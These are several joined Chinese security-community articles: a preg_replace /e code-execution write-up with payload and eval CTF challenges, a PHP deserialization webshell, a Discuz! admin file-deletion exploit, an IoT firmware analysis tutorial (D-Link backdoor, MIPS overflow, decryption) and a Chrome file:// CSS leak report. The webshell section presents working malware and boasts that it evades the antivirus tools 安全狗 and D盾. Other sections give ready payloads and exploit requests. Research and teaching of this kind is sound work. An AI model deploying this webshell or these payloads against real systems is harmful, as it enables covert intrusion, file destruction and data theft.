## 漏洞验证
1、首先打开首页，点击游客投稿
2、进入到相应的页面，传给catid值，让他匹配到 `/\{\?([^}]+)\}/e` 这一内容，正则匹配的内容也就是 `{?(任意内容)}`
，所以我们可以构造payload： **catid={?(phpinfo())}**
## 修复方案
漏洞是 **preg_replace()** 存在 **/e** 模式修正符，如果正则匹配成功，会造成代码执行漏洞，因此为了避免这样的问题，我们避免使用
**/e** 模式修正符，如下图第7行：
## 结语
看完了上述分析，不知道大家是否对 **preg_replace()** **/e** 模式存在的代码执行有了更加深入的理解，文中用到的CMS可以从
[这里](https://pan.baidu.com/s/1tzn6C0bk5H8aLPDBylCDUw) 下载（密码:2xaf）
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **hongrisec@gmail.com** 联系我们。
**Day8** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下(这次放两道题)：
// index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
// index2.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[preg_replace的/e修饰符妙用与慎用](https://521-wf.com/archives/45.html)
[老洞新姿势，记一次漏洞挖掘和利用(PHPMailer RCE)](https://xz.aliyun.com/t/1290) | 社区文章 |
> Author:vspiders
> 首发地址：<http://blog.csdn.net/vspiders/article/details/79643200>
## 前言
最近和小伙伴们一起研究了下PHP反序列化漏洞，突发奇想，利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。
* * *
## 0x01 PHP反序列化
说起PHP反序列化，那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输，比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。
<?php
class A{
var $test = "demo";
}
$a = new A(); // 生成a对象
$b = serialize($a); // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test); // 输出对象c中test的值:demo
?>
## 0x02 PHP反序列化漏洞
PHP类中有一种特殊函数体的存在叫魔法函数，magic函数命名是以符号 **开头的，比如** construct, **destruct,**
toString, **sleep,** wakeup等等。这些函数在某些情况下会自动调用，比如 **construct当一个对象创建时被调用，**
destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。
而在反序列化时，如果反序列化对象中存在魔法函数，使用unserialize()函数同时也会触发。这样，一旦我们能够控制unserialize()入口，那么就可能引发对象注入漏洞。
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
比如上述代码，构造payload为`http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}`
反序列化后在脚本运行结束时就会调用_destruct函数，同时会覆盖test变量输出hello。
## 0x03 回马枪
我们可以利用该漏洞点，控制输入变量，拼接成一个序列化对象。然后再构造一个魔法函数，比如在_destruct()函数中调用eval执行序列化对象中的语句。
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
## 0x04 效果演示
直接菜刀链接：
安全狗：
此木马毕竟是跟正常文件太像，所以免杀效果很不错。这里只是测试了安全狗、D盾，其余自测。
## 小结
而且由此可以引发很多变形，这里只是利用反序列化漏洞，其他漏洞也可以用来当作木马的载体，毕竟cms的代码执行漏洞在被发现之前，他依旧是一个正常到不能再正常的文件。 | 社区文章 |
## 前言
这个漏洞是晏师傅发现的，该漏洞为后台任意文件删除，需要有管理员的权限，所以说危害非常小。晏师傅说，让我用这个洞的分析发个文章活跃下先知的账号，每天发发文章，比打游戏好多了。我觉得非常有道理，所以有了这篇文章。
## 项目地址
<https://gitee.com/ComsenzDiscuz/DiscuzX/tree/master>
直接用最新版测试。（discuz!x3.4）
## 代码分析
漏洞位置在\source\admincp\admincp_forums.php第1793-1799行。用正则搜索，往unlink函数中直接传入通过GET方法获取的变量，直接可以搜到。
存在漏洞的代码：
if(!$multiset) {
if($_GET['delreplybg']) {
$valueparse = parse_url($_GET['replybgnew']);
if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
}
$_GET['replybgnew'] = '';
}
首先我们也要进入第一个if语句，查看代码可知，当$multiset为假或者为0时即可。
查找下$multiset赋值的位置，发现其默认为0，只要让GET参数multi为空或者不存在即可。
再看第二个和第三个if语句:
第二个if语句，只要设置GET参数delreplybg；
第二个if语句，开发者做了下检测，通过检测parse_url函数返回的结果中有没有host这个变量，来确保GET参数replybgnew不是url，但是这个检测并不影响我们传入文件路径。
接下来再看一下$_G['setting']['attachurl']变量的内容是什么就可以构造exp了。
打个断点, 然后登陆后台，进入后台->模块管理，点击提交，这是发现已经断下了，看下它的值：
它的值为data/attachment/，再拼接上common/，也就是说我们可控的删除路径前缀为data/attachment/common/。
至此，我们就可以构造exp了。
## 漏洞复现
下个最新版的Discuz!x3.4，安装一下。
设置好burp的代理，然后登陆后台，进入论坛->模块管理，点击提交。
因为discuz!x3.4安装成功之后，登陆进后台，就会把安装脚本删除（这也许是官方的修复方式？），所以没法进行重装，那就删除个主页吧。
修改请求包，加入 &replybgnew=../../../index.php&delreplybg=1 。
点击Forward，这样就会把主页删除了。
文件管理器里也查看一下，确定是不是真的删除了。
## 后话
向往晏师傅那样健康绿色、积极向上的生活。 | 社区文章 |
# IoT固件分析入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
把前段时间GitHub 上 star
了的一个项目学一遍，地址：[IoT_Sec_Tutorial](https://github.com/G4rb3n/IoT_Sec_Tutorial/)
访问慢的话，gitee上也有镜像可看
_Update：感觉算是一个很不错的IoT固件分析入门教程，今天收到《路由器0day》后在路上粗略地看了下目录，除了没有涉及到硬件外，这个教程差不多把固件分析的起始工作都涉及到了（至于是不是
a bit out of date 就另当别论，不过总的来说也还好⑧）_
## 0x0准备
因为kali是刚上大学的时候装的，现在都出到2021了，我的版本还是2019，所以先升级一波
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
sudo apt update && sudo apt -y full-upgrade
[ -f /var/run/reboot-required ] && sudo reboot -f
* 更新完后可以查看一下系统版本：
grep VERSION /etc/os-release
* 更新系统时间（我的时间好像之前一直都不对orz）
apt-get install -y ntpdate
rm -rf etc/localtime
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate -u ntp.api.bz
* 切换shell（为啥升级后zsh没有直接变成默认orzz）
先查看系统中有几种shell：
cat /etc/shells
kali自带了zsh，直接切换就行了：
cp -i /etc/skel/.zshrc ~/
chsh -s /bin/zsh
zsh配合oh-my-zsh比较好用，安装：
wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh
添加全路径显示：
gedit ~/.oh-my-zsh/themes/robbyrussell.zsh-theme
#然后把%{$fg[cyan]%}%c%{$reset_color%}的%c改为[$PWD]
如果想用别的桌面系统：
update-alternatives --config x-session-manager
## 0x1提取固件
之前用过binwalk，但大多都是在misc题目里处理压缩文件、图片啥的，没有仔细看过binwalk的命令
其实除了binwalk之外，还有其他的固件分析/提取工具，在GitHub上用“firmware analysis”之类的关键词能查到
给了个华硕RT-N300路由器的固件，binwalk直接提取即可。
提取出来发现没有进行加密（…16年，这也太不安全了吧orz，不过现在基本都有了
可以看到这个路由器用的是squashfs文件系统
其中squashfs-root可用于分析了
文件系统是操作系统的重要组成部分，是操作运行的基础。不同的路由器使用的文件系统格式不尽相同。根文件系统会被打包成当前路由器所使用的文件系统格式，然后组装到固件中。路由器希望文件系统越小越好，所以这些文件系统中各种压缩格式随处可见。
Squashfs是一个只读格式的文件系统，具有超高压缩率，其压缩率最高可达34%。当系统启动后，会将文件系统保存在一个压缩过的文件系统文件中，这个文件可以使用换回的形式挂载并对其中的文件进行访问，当进程需要某些文件时，仅将对应部分的压缩文件解压缩。
Squashfs文件系统常用的压缩格式有GZIP、LZMA、LZO、XZ（LZMA2）。路由器的根文件系统通常会按照Squashfs文件系统常用压缩格式中的一种进行打包，形成一个完整的Squashfs文件系统，然后与路由器操作系统的内核一起形成更新固件。
由于squashFS可以在不需要解压的情况下直接挂载，因此有许多应用场景，例如：
1、安装Linux时用的live cd
2、小型嵌入式设备中的rootfs。rootfs一般以压缩好的形式存放在ROM中，如果开机时把整个rootfs都解压到内存里再读取，对于ROM和RAM容量一般都很小的小型嵌入式设备来说性价比太低。
### Binwalk命令选项
常规选项：
提取选项：
Diff：
文件签名：
熵值：
Raw Compression：
### 如何手动提取固件
squashfs文件系统头部特征较多，有sqsh、hsqs、qshs、shsq、hsqt、tqsh、sqlz。我们用hexdump搜索特征在文件中的地址
* hexdump：一个二进制文件的查看工具，可转为OCT、DEC、HEX进制查看
得到如下搜索结果
hsqs位于文件的0xe20c0，用dd命令截取出固件：
* 注：dd命令中skip指定的值只能为十进制。用shell转换进制可以使用：$((BASE#NUM))
*
得到了一个squashfs格式的文件
用unsquashfs解压得到squashfs-root，即用binwalk提取出的同名文件。
如果遇到binwalk之类的工具无法提取的情况，大多都是经过混淆，需要进一步处理
### Binwalk如何进行提取：
通过maigc特征集与文件进行比对，但识别效率比file命令高多了
特征集：<https://github.com/ReFirmLabs/binwalk/tree/62e9caa164/src/binwalk/magic>
识别过程主要使用libmagic库的4个函数：
magic_t magic_open(int flags);//创建并返回一个magic cookie指针。
void magic_close(magic_t cookie);//关闭magic签名数据库并释放所有使用过的资源。
const char *magic_buffer(magic_t cookie,const void *buffer,size_t len);//读取buffer中指定长度的数据并与magic签名数据库进行对比，返回对比结果描述。
Int magic_load(magic_t cookie,const char *filename);//从filename指定文件加载magic签名数据库，Binwalk把多个magic签名文件组合到一个临时文件中用于加载
## 0x2 静态分析
给了个从Dlink固件里提取的样本，打开发现被加密了，得爆破。
kali自带了一些关于压缩文件的工具，比如生成字典用的crunch、rsmangler，爆破用的frackzip等，这些工具用法都不难
* crunch:[Kali使用crunch生成密码字典 – 青檬小栈 ](https://bystart.cn/index.php/17/linux/07)
直接用frackzip破解，（根据教程的提示）得到密码beUT9Z
解压得到以下文件
* .mbn：高通的一套用于加载网络环境的文件（modem software configuration）
* .yaffs2：针对NAND芯片设计的嵌入式文件系统，可用unyaffs提取
unyaffs提取yaffs2
核心应该是2K-mdm-image-mdm9625.yaffs2，不确定的话可以把三个.yaffs2都提取了（然后就该复习一下嵌入式系统的目录结构了）
接下来查看配置文件，有可能从配置文件中发现敏感信息
> 其中的inadyn-mt.conf文件引起了我们注意，这是no-ip应用的配置文件，no-ip就是一个相当于花生壳的东西，可以申请动态域名
cat 一看，果然no-ip的用户名和密码都出现了（这么明显真的难以置信）
接下来使用firmwalker来自动化遍历
> Firmwalker:
>
> A simple bash script for searching the extracted or mounted firmware file
> system.
>
> It will search through the extracted or mounted firmware file system for
> things of interest such as:
>
> * etc/shadow and etc/passwd
> * list out the etc/ssl directory
> * search for SSL related files such as .pem, .crt, etc.
> * search for configuration files
> * look for script files
> * search for other .bin files
> * look for keywords such as admin, password, remote, etc.
> * search for common web servers used on IoT devices
> * search for common binaries such as ssh, tftp, dropbear, etc.
> * search for URLs, email addresses and IP addresses
> * Experimental support for making calls to the Shodan API using the Shodan
> CLI
>
>
> （其实就相当于一个遍历查找后缀、内容的批处理脚本）
使用脚本获得所有可能可以利用的文件（建议进入脚本目录执行）
除了配置文件外，分析存在风险的二进制程序也很重要。
在etc/init.d目录下存放启动时运行的程序和脚本，其中有一个叫start_appmgr，mgr一般指固件的主控。查看脚本：
把appmgr拖到ida
凭借一点点pwn的经验，我们发现了一个backdoor
这个漏洞被收录到CVE-2016-10178：[Multiple vulnerabilities found in the Dlink DWR-932B
(backdoor, backdoor accounts, weak WPS, RCE …) – IT Security Research by
Pierre
(pierrekim.github.io)](https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html)
即向192.168.1.1:39889发送HELODBG可以直接getshell（不太清楚为啥是39889端口，静态看了好久没看出来，
~~猜测是跟下图和label_66有关~~ ）
update:用Ghidra搜到了
这个漏洞确实明显2333
这个固件还有好几个漏洞，太拉了吧Orz…
## 0x3 动态分析
### QEMU和Firmadyne
QEMU这个模拟器想必都不陌生，一个近乎能够模拟所有硬件设备的软件；倒是第一次听说Firmadyne这个工具，查了一下是一个基于QEMU的分析平台，包含模拟、固件提取、调试等功能，但似乎支持的硬件设备较少？orz
### 部署Firmadyne
Tutorial里用的是attifyti提供的Ubuntu 14（因为作者说部署这玩意太麻烦了），但Firmadyne的作者在项目的某个issue里说了句“Ubuntu 14 也太早了”之类的话，于是打算自己部署一下
Also，如果想用直接用attifyti的AttifyOS，https://github.com/adi0x90/attifyos，目前的系统基于Ubuntu18.04，官方的下载地址在谷歌网盘
**准备**
因为涉及到GitHub上一些项目的下载，网络不太好的话可能需要一些帮助：
clash on kali:
下载clash并运行：https://github.com/Dreamacro/clash/releases
导入节点：wget -O ~/.config/clash/config.yaml clash_url
配置代理：
gsettings set org.gnome.system.proxy mode 'manual'
gsettings set org.gnome.system.proxy.http port 7890
gsettings set org.gnome.system.proxy.http host '127.0.0.1'
gsettings set org.gnome.system.proxy.socks port 7891
gsettings set org.gnome.system.proxy.socks host '127.0.0.1'
gsettings set org.gnome.system.proxy ignore-hosts "['localhost', '127.0.0.0/8', '::1']"\
进行配置，访问：
http://clash.razord.top/
** 注：以下绕了好多弯，最后也没成功，用了AttifyOS 😅😅😅😅😅
**【方案1】安装Firmadyne**
apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd ./firmadyne
./download.sh
配置Postgresql：
# 安装数据库
sudo apt-get install postgresql
# 创建用户,注意要设置密码为 firmadyne
sudo -u postgres createuser -P firmadyne
# 创建数据库
sudo -u postgres createdb -O firmadyne firmware
# 初始化数据库
sudo -u postgres psql -d firmware < ./firmadyne/database/schema
如果出现如下错误
> could not connect to database template1: could not connect to server: No
> such file or directory.
>
> Is the server running locally and accepting
>
> connections on Unix domain socket “var/run/postgresql/.s.PGSQL.5432”?
有可能是没有初始化数据库（至少我是因为这个），用如下方法解决：
# 设置postgres用户的密码
passwd postgres
# 创建postgresql的文件夹
sudo mkdir /data
sudo chmod o+w /data
su - postgres
mkdir /data/postgresql
mkdir /data/postgresql/data
# postgres用户初始化数据库
/usr/lib/postgresql/13/bin/initdb -D /data/postgresql/data
# 启动数据库
/usr/lib/postgresql/13/bin/pg_ctl -D /data/postgresql/data -l logfile start
#查看是否监听了端口(结果应类似下图)
netstat -nlp |grep 5432
参考：https://www.cnblogs.com/0x200/p/14026460.html
接下来应该就能按照官方的Usage来使用了（没试）：[firmadyne: Platform for emulation and dynamic
analysis of Linux-based firmware
](https://github.com/firmadyne/firmadyne#usage)
**【方案2】安装[firmware-analysis-plus](https://github.com/liyansong2018/firmware-analysis-plus)**
因为用Firmadyne直接进行调试比较麻烦，所以用了FAP这个项目。
这是个国人写的中文项目，没啥好说的：[liyansong2018/firmware-analysis-plus: 开源固件仿真平台，使用 firmadyne
一键模拟固件 (github.com)](https://github.com/liyansong2018/firmware-analysis-plus)
安装作者提供的binwalk的时候一直报错(kali2021 & ubuntu18
both)，导致一直卡在提取固件的步骤（emmmm哪位大哥部署成功后教我一下)
对此提了个issue
**【方案3】AttifyOS**
这个方法比较稳，自己部署也太折磨人了（外加考试周给娃弄傻了）
_注：密码是attify_
### 模拟执行固件
模拟固件运行：
通过192.168.0.50即可访问固件
### 调试固件
这个部分用到了Damn Vulnerable Router Firmware这个项目，大小400M+，建议上gitee clone
安装以下工具：
sudo apt install gdb-multiarch
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
sudo pip3 install capstone unicorn keystone-engine
进入DVRF/Firmware/，用binwalk提取DVRF_v03.bin
提取出来的目录里有个文件夹pwnable，里面存放着漏洞程序示例，选取stack_bof_01程序进行实验，程序的源代码可以在DVRF/Pwnable
Source/Intro/里查看
首先用reasdelf查看程序架构
!
（顺手试了一下checksec，这里居然有装😀）
拷贝qwmu-mipsel-static到固件根目录：
cp (which qemu-mipsel-static) .
用qemu虚拟运行stack_bof_01：
以调试的方式启动程序，并在1234端口进行监听：
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01
打开一个新的shell，运行以下命令：
gdb-multiarch pwnable/Intro/stack_bof_01
# 设置架构
set architecture mips
#设置调试端口
target remote 127.0.0.1:1234
创建trash触发溢出：
pattern create 300
带上它重新进行调试
gdb attach后继续让程序运行，触发vul
接下来就直接ret2system，但经过尝试后发现，如果直接把跳转地址设置为后门函数dat_shell的起始地址0x400950会触发异常
查看函数汇编代码（MIPS…看不懂的话可以边看边学一波，[MIPS 通用寄存器_flyingqr的专栏-CSDN博客_mips寄存器](https://blog.csdn.net/flyingqr/article/details/7073088)；[MIPS汇编指令集
– 深海之炎 – 博客园 ](https://www.cnblogs.com/glodears/p/9762615.html)；[MIPS的汇编指令 ·
语雀 ](https://www.yuque.com/liyanfu/mq65pb/bv7xb5)）
调试中发现，当执行到0x400970时，gp寄存器指向了不可访问的地址
而gp的值是由上一条指令得到的
本来执行后v0要指向 指向__DT_MIPS_BASE_ADDRESS的指针
简单来说就是强行跳转到backdoor之后，因为t9（默认在运行中指向当前函数的起始地址）没有发生改变，导致在执行0x400970时产生异常访问
但可以发现（其实是按照exp来推…）main函数中的gp在-0x7fe4后刚好指向PTR__DT_MIPS_BASE_ADDRESS*（猜测原因是源代码中后门函数在main函数后面且没有被调用，导致编译时认为main函数和后门函数的
gp和表的偏移 相等）
于是得到
* * *
update：
main函数中
所以gp在函数执行完毕后依旧指向的是基地址表
* * *
_感觉对于mips程序的分析，Ghidra比IDA好用些_
从这题也能看出mips和x86、x64的不同之处， **除了这种特殊情况外，大多数情况下还是应该寻找gadget来进行跳转改变t9寄存器**
**这一节就到这，DVRF这个项目还设计了一些别的漏洞程序可以再进行分析**
## 0x4 解密固件
访问dlink的ftp服务器获得几个DIR-882的固件（图中选中的文件），时间跨度为2017~2020年
ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/
解压得到固件和对应的版本说明
### 加密固件发布方案
一般来说，有三种发布固件的方案
* 出厂时未加密，解密例程在高版本固件v1.1中给出，为后续的加密固件做准备
对于这个方案，我们可以通过解密v1.1来获得解密例程
* 出厂时的固件已经加密，供应商决定更改高版本固件的加密方式，并发布了包含解密例程的未加密中间版本v1.2
这一方案与上面那个类似
* 出厂时的固件已经加密，供应商决定更改高版本固件的加密方式，并发布了包含解密例程的使用原加密方式加密的过渡版本v1.3
这种方案对获取解密例程的难度较大，可从硬件中直接提取固件或对发布的v1.3进行分析
DIR-882的固件发布方案为第一种，示意图如下
_虽然个人认为第三种方案才是较为常见的，但教程中并没有讲到。猜测除了从硬件中提取外，还可以通过模拟器模拟然后进行patch或拿头还原_
### 解密过程
用binwalk分析最新和最早的两个固件
经过binwalk分析，FW104B02正是存在解密程序的中间版本（从文件名也能看出）
> 对于判断固件是否被加密/混淆还可以使用之前提到的binwalk -E 来查看文件各个区域的熵值
提取该固件
binwalk -eM DIR882A1_FW104B02_Middle_FW_Unencrypt.bin
在最终目录下搜索找到imgdecrypt，从名字看出是下个版本固件的解密例程
可以静态分析程序的解密算法，也可以直接运行程序来对加密固件进行解密。
在本地运行时依旧需要借助qemu-mipsel-static模拟器，使用方法和上一节的模拟过程类似，不表。
利用imgdecrypt还可以还原出ftp服务器上提供的最新的固件，所以可能后续版本和Dlink其它型号的路由器也能用这个程序还原固件？Orz
## 0x5 修复固件运行环境
有一些固件因为硬件依赖等原因导致qemu和firmadyne之类的软件无法正确模拟
比如下面这个
>
> ftp://ftp2.dlink.com/PRODUCTS/DIR-605L/REVA/DIR-605L_FIRMWARE_1.13.ZIP
>
> 模拟固件运行的实质其实就是把固件的Web程序跑起来，而模拟失败则说明Web程序运行出错了，我们接下来就要看看Web程序报错的原因以及如何修复运行环境。
### 尝试运行固件
首先binwalk提取固件，进入文件系统目录squashfs-root-0
找到web服务程序Boa
>
> Boa程序是一个轻量级的web服务器程序，常见于嵌入式系统中。dlink就是在boa开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。boa程序的路径为/bin/boa，同时我们发现在/etc/boa路径下还有个boa的密码配置文件，我们可以直接获取到boa加密后的密码。
用qemu-mips-static运行，结果产生了段错误
> mips 是32位大端字节序
>
> mipsel 是32位小端字节序
### 分析错误并修复
> 注：APMIB 是个Realtek的玩意（原来realtek还有做路由器相关的东西…）
>
> * apmib_init(), 從 flash 讀出 mib 值寫入 RAM —[Realtek apmib library @ 邱小新の工作筆記
> ](https://jyhshin.pixnet.net/blog/post/47162002)
>
>
> 有些CVE（如CVE-2019-19823）就跟APMIB有关 —[TOTOLINK and other Realtek SDK based
> routers – full takeover
> (sploit.tech)](https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html)
>
> MIB：management information base，与SNMP有关，可在维基里进一步了解：[Management information
> base – Wikipedia](https://en.wikipedia.org/wiki/Management_information_base)
由于没有flash，导致读mib失败
拖到反编译工具中分析。先定位到字符串“Initialize AP MIB
failed!”的位置。注意到在输出这个字符串前有个调用APMIB初始化的跳转，在此下断点，IDA远程调试
QEMU的远程调试不需要gdbserver，-g 指定端口，ida 远程调试选项指定相应端口就行
简单调试后发现，程序进入APMIB初始化函数后将返回值赋给v0，返回后对返回值进行判断。（跟着教程做完后，发现其实用静态分析看的就很明显，但多调试总是没有坏处的嘛）
跳转回去的位置在这：
我们先试试看把原来的跳转patch一下能不能运行正常固件boa。
有以下两个可行方案：
1. hxd（或其他二进制编辑器），把benz（0x14，不为0跳转）改为beqz（0x10，为0跳转）
这个方法比较直接，定位到指令后把0x14改为0x10即可
2. Ghidra，把bne改为beq（Ghidra中反编译出的原指令为bne）
* **如何用Ghidra进行patch并保存：**
1. 下载python脚本[ghidra_SavePatch](https://github.com/schlafwandler/ghidra_SavePatch) 并放到Ghidra存放python脚本的目录（找不到目录的话，如图）。
2. 按照下图导入脚本。
3. patch
4. 光标放在更改的指令，在script manager里运行脚本。
参考：[Patching Binaries With Ghidra –
RangeForce](https://materials.rangeforce.com/tutorial/2020/04/12/Patching-Binaries/)
* **不用ida的原因：**
把patch保存到文件中时，发现报错，稍微搜了一下，依然不知道是啥原因orz
> 418228: has no file mapping (original: 14 patched: 10)…skipping…
再次运行试试，发现又报错了：
再放到Ghidra里分析，依旧通过字符串定位错误触发点。
两个函数（调用的地方位于websAspInit）里的报错由open函数造成（图为create_chklist_file()，但两个报错类似，均为一开始打开某个文件出错）
用IDA调试发现报错后仍然继续运行，异常发生在执行apmib_get()时：
具体在0x4084c9b0时，把[0+v0]里的值赋给v1，而0x1001明显是一个访问不了的地址
查一下apmib_get是干啥的。似乎是用来获取硬件配置信息，但我们要想让固件跑起来可以不需要这个。那么直接把获得apmib_get入口后的跳转语句nop掉
重新尝试运行
固件会一直尝试朝
ioctl（设备驱动的控制接口）发送0x89f0（应该是一个SIOCDEVPRIVATE），我们模拟的固件并不支持，但没啥大影响。（用Google搜一下“Unsupported
ioctl: cmd=0x89f0”可以找到一些蛮有意思的东西2333）
> 关于ioctl：[ioctl()函数详解_shanshanpt的专栏-> CSDN博客](https://blog.csdn.net/shanshanpt/article/details/19897897)
查看报错的页面（用vim看代码舒服一些），嗯，前端的东西：
从文件名可以猜到是个跟路由器界面语言选择有关的文件。
文件不长，注意到有个函数跟语言和硬件有关：
那么我们可以不让它运行到这个页面。
查找调用了*LangSelect.asp的页面，发现只有一个first.asp
直接修改，重新运行完事
> 这个固件成功运行后可以顺便看一看这个洞： [（CVE-2018-20057）D-Link DIR-619L&605L 命令注入漏洞 – Wiki
> ](https://wiki.96.mk/IOT%E5%AE%89%E5%85%A8/D-Link/%EF%BC%88CVE-2018-20057%EF%BC%89D-Link%20DIR-619L%26605L%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/)
> ，直接用了后门
这节的错误解决方法均通过修改指令，《路由器0day》书中的方法是伪造.so来劫持函数，也值得一学：[分析固件第一步](https://p1kk.github.io/2020/04/15/%E8%B7%AF%E7%94%B1%E5%99%A8/%E8%B7%AF%E7%94%B1%E5%88%86%E6%9E%90/)
## 结束
纯初学者，如果有啥地方写的不到位或者出错了，还请指出
以上 | 社区文章 |
原文来自：<https://bugs.chromium.org/p/chromium/issues/detail?id=788936>
翻译：聂心明
来自file:///的资源没有定义一个Content-Type，一个恶意页面将加载任何本地资源作为css，并且它独立于MIME类型，浏览器会将其进行解析。他允许通过css注入的方式来跨域泄露本地文件数据。这个是这个漏洞
<https://bugs.chromium.org/p/chromium/issues/detail?id=419383> 的小变体。
chrome浏览器似乎用文件拓展名作为MIME类型，当怀疑解析了一个错误的资源的时候，就会弹出一个警告：“资源被解析成样式表，但是被传输的MIME类型是text/html”，这个警告暗示避免使用file:///
去探测主机文件。
# 漏洞详细
攻击需要一个受害者打开一个本地恶意的HTML页面。我不在这里讨论怎么做到这点，但是有很多方法可以欺骗用户（强制下载，从本地PDF中跳转，邮件附件……），未来，我猜会在安卓或者其他的特殊电子产品中会更加有用。
在这个文章中我只展示三个POC，完成攻击只需要两个条件
* 敏感文件在固定（或者可预测）路径
* 攻击者能注入内容到那些文件中
Chrome的SQLite正好满足这两个条件，成为这次攻击者的理想对象。比如：
//互联网上的随机页面
<script>
document.cookie = "foo{}*{--:bar=1337"; // 几分钟之后写入sqlite数据库
</script>
本地文件（从默认路径~/Downloads/打开的文件）
<link rel="stylehseet" href="../Library/Application Support/Chrome/Default/Cookies">
<script>
var leak = getComputedStyle(document.body).getPropertyValue('--');
alert(leak);
</script>
上面的代码有时会很有效，但是由于文件巨大，很难控制payload在字符前面还是后面。他们中的有一些会破坏css的解析。为了提高成功的机会，我们使用一种叫"ile-massaging"的方法。
下面的poc不是很可靠，但是已经在Chrome stable 62 和 Canary 64
(Linux和osx机器上)测试成功，下面用例子来演示攻击者的操作
## 探针的概念
* PoC 1 - 跨域重定向的泄露
文件: redir.html
描述：'~/Library/Application Support/Google/Chrome/Default/Current
Session'这个文件里面包含当前请求的信息。有两个比较有趣的事情是，一部分信息被UTF-16编码（用了这种编码可以减少解析中断的提醒），并且框架中请求被很完美的收集到父类请求中。因此，我们能用框架来跨域并且能读到重定向的结果。我们仅仅需要确定css解析器是否通过提前关闭所有的块(blocks)[1]来处于适当的状态，我们只要简单添加“}])”字符就可以判断。
* PoC 2 - 本地存储SQLite泄露(localstorage.html):
文件: localstorage.html
描述：在这个案例中，目标数据库存储文件存储在‘~/Library/Application
Support/Google/Chrome/Default/Local
Storage/leveldb/’。因为数据是被直接存储的并且我们能完全控制二进制数据，我们很容易把我们的payload编码成UTF-16，并且能被css解析器解析。而且，文件名会采用数字自增的方式命名，我们就可以爆破文件名，直到读取到我们注入的内容。
这就会泄露其他网站和插件的敏感信息。
* PoC 3 - cookie怪物
文件: cookiemonster.html
描述：正如上面提到，当页面设置cookie的之后，它会在几分钟之后写入到本地的SQLite数据库中。数据库的表结构为：
/*
creation_utc INTEGER NOT NULL UNIQUE PRIMARY KEY,
host_key TEXT NOT NULL,
name TEXT NOT NULL,
value TEXT NOT NULL,
path TEXT NOT NULL,
expires_utc INTEGER NOT NULL,
secure INTEGER NOT NULL,
httponly INTEGER NOT NULL,
last_access_utc INTEGER NOT NULL,
has_expires INTEGER NOT NULL DEFAULT 1,
persistent INTEGER NOT NULL DEFAULT 1,
priority INTEGER NOT NULL DEFAULT 1,
encrypted_value BLOB DEFAULT '',
firstpartyonly INTEGER NOT NULL DEFAULT 0
*/
攻击者能够控制cookie的‘name’和‘path’（这些值都是被加密的），可是，还是很容易创造包含payload的cookie，如果幸运的话，可以泄露出一些cookie。一件有趣的事情是，新的cookie会比老的cookie先写入（从文件偏移的角度来看），原因似乎是，SQLite开辟新的空间后，填充数据的方式是从底部到顶部（至少在某种程度上）。这些将帮助我们，因为我们对泄露已存在的cookie特别感兴趣(并且，css的解析是从顶到底的方式)
不幸的是，多数情况下，特殊字符会截断css的解析，并且似乎不能泄露整改cookie……，我试图用UTF-16来解决这个问题，但是，令我失望的是，cookie不支持空字符
比较明显的解决方法是，设置cookie为一个有效的值（可打印的ascii字符，分号，等号，引号），当cookie被编码之后，会产生我们期望得到的payload。让我们用神奇的POC吧
！！
cookie是被128-aes加密的，加密模式采用CBC，aes的IV是固定的为，IV =
0x20202020202020202020202020202020。在Linux中，key是被硬编码的[2]("peanuts")并且，对于key的推导，它使用单次迭代的PBKDF2加密方式，并且salt也是固定的("saltysalt")。在OSX中，key只会被保存在Keychain中。所以我们就把精力放在Linux中。
